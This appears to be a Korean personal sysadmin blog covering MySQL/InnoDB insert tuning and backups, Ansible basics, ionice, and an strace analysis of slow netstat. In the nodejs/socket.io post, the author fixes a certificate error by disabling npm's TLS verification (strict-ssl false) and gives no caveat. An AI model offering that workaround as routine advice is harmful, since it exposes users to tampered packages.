ansible-3 playbook (0) | 2019.04.25 |
ansible-1 (0) | 2019.04.10 |
ansible 공부 (0) | 2018.10.10 |
innodb 의 경우 instert 속도가 myisam에 비해 느리다.
이경우 여러가지 튜닝을 할 수 있는데 대표적인것만 몇개 수정, 비교 해보려고 한다.
1.innodb_flush_log_at_trx_commit 를 0으로 변경하면 속도를 많이 올릴 수 있다고 한다.
innodb_flush_log_at_trx_commit 란...
https://dev.mysql.com/doc/refman/8.0/en/innodb-parameters.html
MySQL :: MySQL 8.0 Reference Manual :: 15.13 InnoDB Startup Options and System Variables
MySQL 8.0 Reference Manual / The InnoDB Storage Engine / InnoDB Startup Options and System Variables 15.13 InnoDB Startup Options and System Variables System variables that are true or false can be enabled at server startup by naming them, or disabled
dev.mysql.com
요약하자면
innodb_flush_log_at_trx_commit 이란 쿼리 요청이 디스크에 저장되는 방법이 지정된 변수이다. 즉 이 값을 변경하면 트랜잭션 방법을 수정해서 insert 속도를 올릴 수 있따.
##트랜잭션, commit이란
먼저 DB에서의 트랜잭션이란 정상적으로 완료된 일련의 작업들이라고 생각하면된다. 예를들어 insert , update , delete가 순차적으로 일어나고 그후 commit을 하게되면 트랜잭션이 정상적으로 완료됐다할 수 있다. 즉 commit이란 저장되지 않은(메모리에 적혀있는)데이터를 디비에 저장 후 트랜잭션을 종료한다.
innodb_flush_log_at_trx_commit 값이 디폴트일때의 과정(즉 1일 때)은 아래 처럼 진행된다.
쿼리 하나당 [log buffer(메모리 영역)를 거쳐서 >os buffer/cache(메모리 영역)를 거쳐서 > 마지막으로 ib_logfile(디스크영역)에 저장(flush) 된다.] 즉 1회 요청당 1회 commit - 한번의 요청때마다 매번 commit을 진행한다. - (요게 핵심임)
0 또는 2로 바꾼다면 저 과정이 간략해진다.
innodb_flush_log_at_trx_commit =0
쿼리 하나당 [log buffer(메모리 영역)저장]하고 1초에 한번씩 나머지 commit을 수행(os buffer/cache(메모리 영역)를 거쳐서 > 마지막으로 ib_logfile(디스크영역)에 저장(flush)])
innodb_flush_log_at_trx_commit = 2
쿼리 하나당 [log buffer(메모리 영역)를 거쳐서 >os buffer/cache(메모리 영역)에 저장] 후 1초에 한번씩 나머지 commit을 수행ib_logfile(디스크영역)에 저장(flush)])
즉 0과 2의 차이는 쿼리하나당 log buffer까지 저장하느냐 os buffer/cache 까지 저장하느냐의 차이임
(혹시 이글을 읽으시는 분들중 틀린 내용이 있다면 제발 코멘트 부탁드립니다. 구글링하면서 다른 내용이 적잖이 보여서 사실 저도 좀 헷갈립니다.)
이론적으로 보면 속도 순서는 0 - 2 -1 순으로 빨라야 한다.
비교를 해보자.
파일용량(각각 실 사용 데이터) | 0일때 | 1일때 | 2일때 |
12GB | 45분 | 60분 | 50분 |
10GB | 40분 | 50분 | 45분 |
15GB | 65분 | 80분 | 65분 |
18GB | 75분 | 95분 | 75분 |
14GB | 테스트 안함 | 75분 | 60분 |
19GB | 테스트 안함 | 105분 | 85분 |
19GB | 테스트 안함 | 105분 | 85분 |
0이랑 2랑 거의 비슷하고(0이쫌더 빠르긴함) 확실히 1로 줬을때보단 빠르긴 한듯합니다. 용량 작으면 그냥 하고 용량 크면 데이터 유실될 가능성이 좀 더 적은 2로 주고 하는게 좋겠네요.
2.innodb buffer pool size
아마 이게 가장 대표적이고 또 확실히 눈에 보이게 성능 향상이 이루어질걸로 판단한다.
극단적으로 보기위해 기존에는 디폴트 값(128MB)과 서버 메모리(32GB)에 맞게끔 변경해서 비교했는데
7GB 짜리 덤프파일 복원 하는데 3시간 쫌 넘게 걸렸고
real 187m17.825s
user 2m21.802s
sys 0m6.869s
이번에는 innodb buffer pool size = 20GB로 변경하고 .sql 용량 =8GB 짜리 복원시(키 버퍼랑 등등 추가로 알맞게 진행)
real 40m44.386s
user 2m21.319s
sys 0m8.349s
역시... innodb buffer pool size 는 튜닝 필수다.
내용 요약.
1.innodb buffer pool size 수정은 필수(그에따른 키 버퍼나 솔트 버퍼등도 구글링해서 알맞게 수정)
2.용량이 큰 dump파일 복원시 innodb_flush_log_at_trx_commit 는 2로 변경
ㄴ실제 사용시 상황에 맞게(안전성이냐 속도냐) 1또는 2로 사용
mysql log file size error (0) | 2019.06.26 |
---|---|
mysql replication relay log relay-bin.999999 bug (0) | 2019.05.03 |
mysql 대용량 DB 백업 구성 (0) | 2019.04.09 |
mysql dead lock 확인하기 (0) | 2019.01.24 |
mysql innodb buffer pool size (0) | 2019.01.24 |
엔서블 특징
1.에이전트 설치 필요없음 - 이게 제일 장점인듯 호스트서버에만 엔서블 설치하면되니까
ㄴ다만 클라이언트에도 2.6 이상의 파이썬이 설치돼있어야한다. centos5 버전은 파이썬2.4 설치돼있어서 중복으로 설치해야함
2.yaml 로 저장돼있어서 많은 사람들(운영, 관리, 개발팀등)이 쉽게 알아볼 수 있음
3.대부분의 OS에 사용가능(윈도우도 가능하고 네트워크 장비들까지도 됨)
4.멱등성
5.모듈 많음
6.쉬움
7.오픈소스
엔서블 vi 탭을 띄어쓰기 2개로 변경하는법
- vi 에서 yaml 작성할때 탭으로 가능하도록 설정
$HOME/.vimrc 파일안에 아래 입력 .vimrc 파일 없으면 만들어주면 된다.
autocmd FileType yaml setlocal ai ts=2 sw=2 et
ansible - 디렉토리 구조 (0) | 2019.05.02 |
---|---|
ansible- error (0) | 2019.04.26 |
ansible-3 playbook (0) | 2019.04.25 |
ansible-2 hosts(그룹), 멱등성 (0) | 2019.04.22 |
ansible 공부 (0) | 2018.10.10 |
yum install -y nodejs 한 다음 yum install -y npm 하면 npm 패키지 설치하면서 기존에 설치된 nodejs 패키지랑 충돌나서 npm 설치가 안됨
file /usr/lib/node_modules/npm/node_modules/ini from install of npm-1.3.6-5.el6.noarch conflicts with file from package nodejs-2:9.11.2-1nodesource.x86_64
file /usr/lib/node_modules/npm/node_modules/init-package-json from install of npm-1.3.6-5.el6.noarch conflicts with file from package nodejs-2:9.11.2-1nodesource.x86_64
file /usr/lib/node_modules/npm/node_modules/lockfile from install of npm-1.3.6-5.el6.noarch conflicts with file from package nodejs-2:9.11.2-1nodesource.x86_64
file /usr/lib/node_modules/npm/node_modules/npm-user-validate from install of npm-1.3.6-5.el6.noarch conflicts with file from package nodejs-2:9.11.2-1nodesource.x86_64
file /usr/lib/node_modules/npm/node_modules/once from install of npm-1.3.6-5.el6.noarch conflicts with file from package nodejs-2:9.11.2-1nodesource.x86_64
file /usr/lib/node_modules/npm/node_modules/opener from install of npm-1.3.6-5.el6.noarch conflicts with file from package nodejs-2:9.11.2-1nodesource.x86_64
file /usr/lib/node_modules/npm/node_modules/read from install of npm-1.3.6-5.el6.noarch conflicts with file from package nodejs-2:9.11.2-1nodesource.x86_64
file /usr/lib/node_modules/npm/node_modules/sha from install of npm-1.3.6-5.el6.noarch conflicts with file from package nodejs-2:9.11.2-1nodesource.x86_64
file /usr/lib/node_modules/npm/node_modules/retry conflicts between attempted installs of npm-1.3.6-5.el6.noarch and nodejs-2:9.11.2-1nodesource.x86_64
file /usr/lib/node_modules/npm/node_modules/rimraf conflicts between attempted installs of npm-1.3.6-5.el6.noarch and nodejs-2:9.11.2-1nodesource.x86_64
file /usr/lib/node_modules/npm/node_modules/semver conflicts between attempted installs of npm-1.3.6-5.el6.noarch and nodejs-2:9.11.2-1nodesource.x86_64
file /usr/lib/node_modules/npm/node_modules/sha conflicts between attempted installs of npm-1.3.6-5.el6.noarch and nodejs-2:9.11.2-1nodesource.x86_64
file /usr/lib/node_modules/npm/node_modules/slide conflicts between attempted installs of npm-1.3.6-5.el6.noarch and nodejs-2:9.11.2-1nodesource.x86_64
file /usr/lib/node_modules/npm/node_modules/tar conflicts between attempted installs of npm-1.3.6-5.el6.noarch and nodejs-2:9.11.2-1nodesource.x86_64
file /usr/lib/node_modules/npm/node_modules/uid-number conflicts between attempted installs of npm-1.3.6-5.el6.noarch and nodejs-2:9.11.2-1nodesource.x86_64
file /usr/lib/node_modules/npm/node_modules/which conflicts between attempted installs of npm-1.3.6-5.el6.noarch and nodejs-2:9.11.2-1nodesource.x86_64
file /usr/lib/node_modules/npm/package.json conflicts between attempted installs of npm-1.3.6-5.el6.noarch and nodejs-2:9.11.2-1nodesource.x86_64
이런식으로 충돌납니다. 위와같이 충돌나면 rpm -qa | grep node 해서 나온거 삭제해주고
npm 패키지 안에 nodejs 도 들어있으니까 nodejs 설치할필요없이 npm만 yum으로 설치해주면 됨
그다음 npm install socket.io 하면
npm http GET https://registry.npmjs.org/socket.io
npm http GET https://registry.npmjs.org/socket.io
npm ERR! Error: CERT_UNTRUSTED
npm ERR! at SecurePair. (tls.js:1370:32)
npm ERR! at SecurePair.EventEmitter.emit (events.js:92:17)
npm ERR! at SecurePair.maybeInitFinished (tls.js:982:10)
npm ERR! at CleartextStream.read [as _read] (tls.js:469:13)
npm ERR! at CleartextStream.Readable.read (_stream_readable.js:320:10)ㄴ
이런식으로 에러 난다.
https 인증 어쩌구 저쩌구 하는데
npm config set strict-ssl false
인증 우회 하고 다시 npm install socket.io 설치하면
/usr/lib/node_modules/socket.io/usr/lib/node_modules/socket.io]# pwd
/usr/lib/node_modules/socket.io
/usr/lib/node_modules/socket.io]# ll
total 48
drwxr-xr-x 2 root root 4096 2019-04-10 09:50 lib
drwxr-xr-x 8 root root 4096 2019-04-10 09:50 node_modules
-rw-r--r-- 1 root root 18733 2019-04-10 09:50 package.json
-rw-r--r-- 1 root root 16588 1985-10-26 17:15 Readme.md
잘 설치됐다.
서버 점검.. (0) | 2019.06.11 |
---|---|
centos 5 yum error (0) | 2019.04.29 |
ionice (1) | 2019.04.09 |
strace debug (0) | 2019.02.21 |
php-fpm 메모리 사용률 확인하고 튜닝하기 (2) | 2019.02.20 |
ionice란...
말그대로 io 우선순위 정하는거인데
나같은경우는 백업시 실 서비스에 영향을 주지 않게하기위해서 우선순위를 가장 마지막으로 하기 위해 ionice란 명령어를 사용한다.
보통 ionice -c2 -n 7 옵션으로 사용하는데
-n 옵션은 우선순위를 0~7 까지 지정한다. 7이 제일 꼴찌 0이 가장 우선
0 for none, 1 for realtime, 2 for best-effort, 3 for idle.
위와같이 설명 돼 있다.
0은 말그대로 none 스케쥴링을 없게끔 하는듯 하고...
1 rt(real time)는 우선순위를 지정할 순 있는데 rt가 best-effort보다 우선이다. 즉 best-effort 보다 rt가 우선순위가 더 빠르고 rt중에서도 우선순위를 정할 수 있다.
2 는 best-effort 로
이것은 특정 io 우선 순위를 요구하지 않은 프로세스에 대한 효과적인 스케줄링 클래스다. 이 세분류는 0-7에서 우선 순위 논쟁을 하며, 낮은 숫자는 우선 순위가 더 높다. 동일한 최상의 작업 우선순위로 실행하는 프로그램은 라운드 로빈 방식으로 제공된다.
번역기 돌리면 위와같다.
-n 옵션을 사용하기위해서는 -c2 로 설정해야하는듯 하다. 그래야 0~7까지 분류를 하니까
마지막으로 3은 idle 다른 작업이 없을때 실행한다는 뜻이다.
idle로 하면 아마도 디스크가 아무것도 사용이 안될때만 실행하는듯하고...
1(rt)은 우선순위를 높게 정할때 사용해야할듯, 너무 우선순위가 높아버리면 또 문제가 있으려나. 2(best effort)로 하고 우선순위를 0으로 정해주는게 좋을듯도 싶다.
나는 우선순위를 늦추는게 목적이니 2(best effort)로하고 우선순위도 7로 지정
centos 5 yum error (0) | 2019.04.29 |
---|---|
nodejs npm , socket.io 설치 (0) | 2019.04.10 |
strace debug (0) | 2019.02.21 |
php-fpm 메모리 사용률 확인하고 튜닝하기 (2) | 2019.02.20 |
geoip iptables 설치 (2) | 2019.02.15 |
master 서버 1대/ slave 서버 3대 리플리케이션 구성
CPU : E5-2620 v3 @ 2.40GHz, 24core / RAM : 96GB 4대 모두 동일사양 / 디비 용량 1.1TB / 테이블 약 220개, 그중 용량 큰 테이블은 약 40개정도(개당 10~40GB)
사양은 4대 모두 동일
관리 방법 정리
1.mysqldump
장점 : 간편하다.. 가장 기본적인 방법
(디비 용량이 작다면 심플하게 table 단위로 mysqldump 백업이 가장 좋다고 본다.)
단점 : 백업 시간이 오래걸리고 복원하는데도 오래걸린다.
약 500GB 테이블단위로 백업하는데 약 2시간 30분 걸리고 377GB로 백업됨
1-1.mysqldump후 .sql 파일을 한번더 tar로 압축하여 보관
약 20GB 짜리 덤프파일 하나를 tar -cvzf 로 압축할경우 약 2.6GB로 압축됨, 압축하는데 걸리는 시간은 8분~8분30초
약 40GB 짜리 덤프파일 하나를 tar -cvzf 로 압축할경우 약 5.7GB로 압축됨, 압축하는데 걸리는 시간은 약 25분소요
ㄴ이 파일 압축 푸는데 걸리는 시간은 약 10분인데 400기가 데이터 날리면 약 100분동안 압축 푸는시간 날리는거
장점 : 용량을 많이 줄일 수 있으니까(상황에 따라 다르겠지만 실 데이터에 약 8분의1정도 압축됨) 그만큼 보관 주기도 길게 잡을 수 있다.
단점 : 백업하고 복원하는데 시간 더럽게 오래 걸린다.용량 큰 디비에 이거 하나만 가지고 운영하는건 거의 도라이짓임(누가 디비를 잘못 삭제해서 장애 한번나면... 복원하는데 시간 더럽게 오래걸림)
2.xtrabackup
장점 : 속도가 빠르다. 증분백업도 된다.
단점 : 용량이 크다. 추가로 설치해야한다.(ibdata나 디렉토리등 데이터를 복사하는 방식이라 실제 데이터와 용량이 거의 같다. 즉 1TB짜리 실 데이터 백업하려면 1TB가 필요, 증분 백업이 가능하기에 어느정도 커버 가능하다본다.)
xtrabackup
500GB 백업하는데 약 2시간 40분
덤브백업하는데
real 165m33.431s
user 77m40.210s
sys 8m34.757s
mysql replication relay log relay-bin.999999 bug (0) | 2019.05.03 |
---|---|
innodb mysql/mariadb insert 속도 높이기 (0) | 2019.04.12 |
mysql dead lock 확인하기 (0) | 2019.01.24 |
mysql innodb buffer pool size (0) | 2019.01.24 |
마리아디비 mariadb slow query log 적용 안될 때 (0) | 2019.01.21 |
netstat -nlp 하면 가끔가다가 멈췄다가? 지연된건가 ? 하여튼 동영상 보면 알겠찌만 저런 서버들이 간혹있다.
동영상 처음올려보는데 뭔가 되게 더럽다 이상하게. 하여튼 보면 알겠지만
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 2983/sshd
여기서 한번
tcp 0 0 :::22 :::* LISTEN 2983/sshd
여기서 한번 멈춘다.
이 다음껄 불러오는데 느려지는건가 아니면 저 ssh 를 불러오고난뒤?(혹은 불러오는과정이라 봐도 되나 ?)에서 느려지는건지 알아볼꺼다. strace를 이용해서 한번 찾아보자.
strace란 ##https://brunch.co.kr/@alden/12
시스템콜 시그널등을 추적하는 디버깅 툴
시스템콜이란 ##https://luckyyowu.tistory.com/133
커널단의기능을 사용자(os)가 사용할 수있게 해준다.
시그널이란 ##http://blog.naver.com/PostView.nhn?blogId=guy2648&logNo=10103891030
프로세스 구동중 예외상황(ex 컨트롤 씨로 멈춘다던가)에 발생하는 신호
주요 옵션이나 사용법등은 저기 위에 브런치 사이트에 다 있으니까 생략
-c 옵션 줘서 내용 보면
% time seconds usecs/call calls errors syscall
------ ----------- ----------- --------- --------- ----------------
99.97 8.969419 2159 4154 377 read
리드하면서 시간도 오래걸리고 에러도 난다.
우선 netestat 명령어에 사용되는 C 함수들이 뭐뭐 있는지
~]# cat strace_netstat2 | awk '{print $3}' | awk -F "(" '{print $1}' | sort | uniq -c | sort -n
1 +++
1 access 파일 존재나 접근 권한을 확인
1 arch_prctl
1 execve 다른프로그램을 실행
1 exit_group 프로세스 내의 모든 스레드 끝내기
1 fcntl 파일을 전체나 파일의 일부를 다른 프로세스에서 사용하는 것을 제한
1 statfs 파일시스템 정보
3 brk 데이터 세그먼트의 영역을 넓혀준다.
7 mprotect 주어진 메모리 영역의 권한을 변경
9 munmap 메모리 맵핑 제거
13 fstat 열린 파일의 상태 및 정보 보기
15 write 말그대로 write
21 mmap 메모리매핑
1082 close 말그대로 닫기
1089 open 말그대로 열기
1114 getdents 디렉토리 엔트리 불러오기
1353 readlink 심볼릭링크된 파일을 읽기
4308 read 일기
strace -s 65535 -f -t -o strace_netstat nestat -nlp
7127 12443 15:30:58 open("/proc/net/x25", O_RDONLY) = -1 ENOENT (No such file or directory)
7128 12443 15:30:58 open("/proc/net/nr", O_RDONLY) = -1 ENOENT (No such file or directory)
7129 12443 15:30:58 exit_group(0) = ?
7130 12443 15:30:58 +++ exited with 0 +++
겁내 길다 하지만 진득하게 해보자
첫줄부터
1 12443 15:30:53 execve("/bin/netstat", ["netstat", "-nlp"], [/* 23 vars */]) = 0
2 12443 15:30:53 brk(0) = 0x1994000
3 12443 15:30:53 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc359886000
4 12443 15:30:53 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
5 12443 15:30:53 open("/etc/ld.so.cache", O_RDONLY) = 3
6 12443 15:30:53 fstat(3, {st_mode=S_IFREG|0644, st_size=30677, ...}) = 0
맨앞에필드는 12443는 PID다. netstat -nlp 입력했을 때의 PID
[root@test ~]# ps -ef | grep netstat
root 9157 12279 23 14:30 pts/4 00:00:00 strace -s 65535 -f -t -o strace_netstat2 netstat -nlp
root 12443 9157 8 14:30 pts/4 00:00:00 netstat -nlp
세번째부터가 이제 어떤 시스템콜(C 함수들)이 이용됐는지가 나온다. execve brk mmap access open fstat 등등 각 함수들마다 구글링해보면 다 뭐 나온다. 뭐 변수가 어쩌고 확장이 어쩌고 저쩌고 ... 하여튼
execve 함수는 다른 프로그램을 실행하고 자신은 종료한댄다. 즉 netstat 명령어를 실행하면 execve 함수로 netstat를 실행하는듯~?
brk는 데이터 세그먼트의 영역을 넓혀준다. 라고 한다.
뭐 netstat 가 어떤식으로 구동되는지까지 알필요는 없으니까... 느려지는 부분부터 한번 봐보자.
우선 netstat에 필요한 라이브러리들
~]# ldd /bin/netstat
linux-vdso.so.1 => (0x00007ffc5d6f0000)
libselinux.so.1 => /lib64/libselinux.so.1 (0x00007f4021263000)
libc.so.6 => /lib64/libc.so.6 (0x00007f4020ecf000)
libdl.so.2 => /lib64/libdl.so.2 (0x00007f4020cca000)
/lib64/ld-linux-x86-64.so.2 (0x0000562a176ac000)
1 21682 14:52:28 execve("/bin/netstat", ["netstat", "-nlp"], [/* 24 vars */]) = 0
2 21682 14:52:28 brk(0) = 0x1914000
3 21682 14:52:28 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc716503000
4 21682 14:52:28 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
5 21682 14:52:28 open("/etc/ld.so.cache", O_RDONLY) = 3
6 21682 14:52:28 fstat(3, {st_mode=S_IFREG|0644, st_size=30677, ...}) = 0
7 21682 14:52:28 mmap(NULL, 30677, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fc7164fb000
8 21682 14:52:28 close(3) = 0
9 21682 14:52:28 open("/lib64/libselinux.so.1", O_RDONLY) = 3
ldd로 나온 라이브러리들 순서대로 불러온다. libselinux.so.1 부터 llibdl.so.2
근데 보는것처럼 linux-vdso.so.1 이건 없다. 아마 4번째 라인에 노써치파일이 아마 이게 아닐까 ?
그리고 /lib64/ld-linux-x86-64.so.2 이것도 없다. 근데 이건 no such file 에러도 없다. 아유 어쨋든..
대충 1~50라인까지는 라이브러리 불러오는거고 60라인쯤부터 1800 라인까지는 centos 구동시 기본으로 실행되는 데몬들 open 한다.
root 1986 2 0 2018 ? 00:01:26 [edac-poller]
root 2156 2 0 2018 ? 00:00:00 [kipmi0]
root 2684 2 0 2018 ? 00:00:00 [jbd2/sda1-8]
root 2685 2 0 2018 ? 00:00:00 [ext4-dio-unwrit]
root 2717 2 0 2018 ? 00:00:00 [kauditd]
root 2893 1787 0 2018 ? 00:00:00 /sbin/udevd -d
root 2894 1787 0 2018 ? 00:00:00 /sbin/udevd -d
root 2898 2 0 2018 ? 00:10:10 [flush-8:0]
root 2963 1 0 2018 ? 00:01:01 /sbin/rsyslogd -i /var/run/syslogd.pid -c 5
root 2983 1 0 2018 ? 00:00:25 /usr/sbin/sshd
root 2997 1 0 2018 ? 00:00:00 /usr/sbin/vsftpd /etc/vsftpd/vsftpd.conf
root 3009 1 0 2018 ? 00:01:46 crond
nobody 3278 1 0 2018 ? 00:03:04 /usr/local/checker/sbin/thttpd -C /usr/local/checker/etc/thttpd.conf
root 3561 1 0 2018 ? 00:34:50 /opt/apache/bin/httpd -k start
root 4103 1 0 2018 tty1 00:00:00 /sbin/mingetty /dev/tty1
root 4105 1 0 2018 tty2 00:00:00 /sbin/mingetty /dev/tty2
root 4107 1 0 2018 tty3 00:00:00 /sbin/mingetty /dev/tty3
root 4109 1 0 2018 tty4 00:00:00 /sbin/mingetty /dev/tty4
root 4111 1 0 2018 tty5 00:00:00 /sbin/mingetty /dev/tty5
root 4113 1 0 2018 tty6 00:00:00 /sbin/mingetty /dev/tty6
daemon 11230 3561 36 15:29 ? 00:02:33 /opt/apache/bin/httpd -k start
root 11938 1 0 15:30 ? 00:00:00 /usr/bin/python -Es /usr/bin/fail2ban-server -s /var/run/fail2ban/fail2ban.sock -p /var/run/fail2ban/fail2ban.pid -x -b
daemon 12878 3561 36 15:31 ? 00:01:42 /opt/apache/bin/httpd -k start
daemon 12900 3561 35 15:31 ? 00:01:37 /opt/apache/bin/httpd -k start
daemon 12902 3561 36 15:31 ? 00:01:42 /opt/apache/bin/httpd -k start
daemon 13409 3561 36 15:32 ? 00:01:24 /opt/apache/bin/httpd -k start
daemon 13411 3561 37 15:32 ? 00:01:26 /opt/apache/bin/httpd -k start
위와같이 실행돼있는 프로세스들중
root 2894 1787 0 2018 ? 00:00:00 /sbin/udevd -d
root 2898 2 0 2018 ? 00:10:10 [flush-8:0]
root 2963 1 0 2018 ? 00:01:01 /sbin/rsyslogd -i /var/run/syslogd.pid -c 5
root 2983 1 0 2018 ? 00:00:25 /usr/sbin/sshd
여기까지가 아마 os 구동시 기본으로 구동되는 데몬이라고 생각할 수 있을것같다.
strace 파일 보면
1992 12443 15:30:53 open("/proc/2983/attr/current", O_RDONLY) = 5
1993 12443 15:30:53 read(5, 0x19a53e0, 4095) = -1 EINVAL (Invalid argument)
1994 12443 15:30:53 close(5) = 0
1995 12443 15:30:53 readlink("/proc/2983/fd/4", "socket:[12960]", 29) = 14
1996 12443 15:30:53 open("/proc/2983/attr/current", O_RDONLY) = 5
1997 12443 15:30:53 read(5, 0x19a5440, 4095) = -1 EINVAL (Invalid argument)
1998 12443 15:30:53 close(5) = 0
1999 12443 15:30:53 getdents(4, /* 0 entries */, 32768) = 0
2000 12443 15:30:53 close(4) = 0
2001 12443 15:30:53 open("/proc/2997/fd", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = 4
2002 12443 15:30:53 getdents(4, /* 3 entries */, 32768) = 72
2003 12443 15:30:53 readlink("/proc/2997/fd/3", "socket:[12989]", 29) = 14
2004 12443 15:30:53 open("/proc/2997/cmdline", O_RDONLY) = 5
2005 12443 15:30:53 read(5, "/usr/sbin/vsftpd\0/etc/vsftpd/vsftpd.conf\0", 511) = 41
2006 12443 15:30:53 close(5) = 0
2007 12443 15:30:53 open("/proc/2997/attr/current", O_RDONLY) = 5
이제 대충 어떤느낌인지 알겠다.
netstat -nlp 하면 모든 프로세스들 불러오고 그중에 데몬 리스트를 pid랑 port랑 이런식으로 출력해주는거니까
1.netstat -nlp 입력시 netstat에 사용되는 라이브러리를 open mmap read close등을 진행 - 50라인쯤
2.OS에 올라와있는 모든 프로세스를 pid순으로 open/작업(getdents,read,readlink등)/close 진행 - 5400라인쯤
ㄴnetstat -nlp는 정보를 보는거니까 당연히 위와같은 디렉토리엔트리를 불러오거나 뭘 읽거나 하겠죠?
3.5400라인쯤부터 이제 netstat -nlp했을 때 나오는 문장들을 write 함수로 쓴다.
정확히는 12443 15:30:56 open("/proc/net/tcp6", O_RDONLY) = 3 이런식으로 /proc/net/tcp6 을 불러와서
12443 15:30:56 read(3, " sl local_address remote_address st tx_queue
위와같이 읽은다음
12443 15:30:56 write(1, "tcp 0 0 :::5000 :::* LISTEN 3278/thttpd \n", 109) = 109
이렇게 실제로 write를 한다.
##########
여담
5392 12443 15:30:54 open("/usr/share/locale/locale.alias", O_RDONLY|O_CLOEXEC) = 3
5393 12443 15:30:54 fstat(3, {st_mode=S_IFREG|0644, st_size=2512, ...}) = 0
5394 12443 15:30:54 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc359885000
5395 12443 15:30:54 read(3 어쩌구 저쩌구 /usr/share/locale/locale.alias 내용 나옴)
netstat -nlp 했는데 위 파일을 왜 열지 ? 궁금해서 이 파일 삭제하고서 netstat -nlp 실행해봤다.
1044 29673 16:02:34 open("/usr/share/locale/locale.alias", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
1045 29673 16:02:34 open("/usr/share/locale/en_US.UTF-8/LC_MESSAGES/net-tools.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
1046 29673 16:02:34 open("/usr/share/locale/en_US.utf8/LC_MESSAGES/net-tools.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
1047 29673 16:02:34 open("/usr/share/locale/en_US/LC_MESSAGES/net-tools.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
그냥 에러나고 끝이다. 실행도 잘된다. 근데 내가 에러를 못찾은거일수도있다. 하고자 하는 말이뭐냐면... 그냥 뭐랄까 별에 별파일을 다 쓰는구나. 함부로 지우지말자.
#######
4.그리고 exit_group 끝
자 이글의 목적인 netstat -nlp 시 왜 특정구간(sshd 데몬쪽)에서 느려지는건지 이제 이유가 보인다.
6270 12443 15:30:56 write(1, "tcp 0 0 :::5000 :::* LISTEN 3278/thttpd \n", 109) = 109
6271 12443 15:30:56 write(1, "tcp 0 0 :::81 :::* LISTEN 3561/httpd \n", 109) = 109
6272 12443 15:30:56 write(1, "tcp 0 0 :::22 :::* LISTEN 2983/sshd \n", 109) = 109
6273 12443 15:30:56 read(3, "00000000000000FFFF00006F7926DA:0051 0000000000000000FFFF00006F7926DA:B4EE 06 00000000:00000000 03:00000000 00000000 0 0 0 3 ffff880c74c5a940\n 6: 0000000000000000FFFF00
006F7926DA:0051 0000000000000000FFFF00006F7926DA:CFA8 06 00000000:00000000 03:0000115F 00000000 0 0 0 3 ffff880939ba0580\n 7: 0000000000000000FFFF00006F7926DA:0051 0000000000000000FFFF00006F79
26DA:D73A 06 00000000:00000000 03:000016E8 00000000 0 0 0 3 ffff880814409840\n 8: 0000000000000000FFFF00006F7926DA:0051 0000000000000000FFFF00006F7926DA:A626 06 00000000:00000000 03:00000000 0
0000000 0 0 0 3 ffff880c76532440\n 9: 0000000000000000FFFF00006F7926DA:0051 0000000000000000FFFF00006F7926DA:A708 06 00000000:00000000 03:00000000 00000000 0 0 0 3 ffff88086fff6200\
n 10: 0000000000000000FFFF00006F7926DA:0051 0000000000000000FFFF00006F7926DA:D7A6 06 00000000:00000000 03:00001730 00000000 0 0 0 3 ffff880927c64200\n 11: 0000000000000000FFFF00006F7926DA:0051
0000000000000000FFFF00006F79", 1024) = 1024
이런식으로 6273 같은 라인이 진짜 어~~~마무시하게 read가 많이 이루어진다.
거의 800라인 가까이 위와같은 read작업이 이루어진다. 다른 정상인 서버들은 저러지 않는다. 저 read작업이 뭔지 알면되겠다.
5418 12443 15:30:54 read(3, " \n 6: 6F7926DA:C56A 6F7926DA:0051 06 00000000:00000000 03:00000B1B 00000000 0 0 0 3
ffff8808728b24c0 \n 7: 6F7926DA:0050 9158E6C0:A773 06 00000000:00000000 03:00000000 00000000 0 0 0 3
ffff88086f41e280 \n 8: 6F7926DA:0050 2158E6C0: E732 06 00000000:00000000 03:00000000 00000000 0 0 0 3
ffff880871e65dc0 \n 9: 6F7926DA:D3A8 6F7926DA:0051 06 00000000:00000000 03:00001533 00000000 0 0 0 3
ffff880c77a5bdc0 \n 10: 6F7926DA:C4D6 6F7926DA:0051 06 00000000:00000000 03:00000AB8 00000000 0 0 0 3
ffff880c751e3cc0 \n 11: 6F7926DA:0050 0158E6C0:92FB 06 00000000:00000000 03:00000000 00000000 0 0 0 3
ffff88087048b580 \n 12: 6F7926DA:CF10 6F7926DA:0051 06 00000000:00000000 03:00001205 00000000 0 0 0 3 fff", 1024) = 1024
netstat -nlp 했을 때/proc/net/tcp /proc/net/tcp6 두 파일을 베이스로 netstat는 출력하는 명령어다. (자세한건 https://www.joinc.co.kr/w/Site/system_programing/proc/NetState)
/proc/net/tcp 는 tcp 정보를 아스키형태로 저장된 파일임
netstat -nlp 했을 때 출력되는건 TIME_WAIT이 배제된채로 출력되지만 실제로는 /proc/net/tcp 이거를 전부 read 하게 된다. /proc/net/tcp여기에는 TIME_WAIT 관련 정보까지 전부 저장되기 때문에 TIME_WAIT이 많은 서버들에서 대체로 netstat -nlp 가 오래걸린다.
처음에는 sshd 명령어 이후에 딜레이 되니까 ssh쪽이 뭐 문제인가 아니면 thttpd를 불러오는데 뭐가 문제인가 싶었는데 완전 틀렸다.
끝
nodejs npm , socket.io 설치 (0) | 2019.04.10 |
---|---|
ionice (1) | 2019.04.09 |
php-fpm 메모리 사용률 확인하고 튜닝하기 (2) | 2019.02.20 |
geoip iptables 설치 (2) | 2019.02.15 |
rsync를 통한 파일 전송시 속도 테스트 (0) | 2018.12.06 |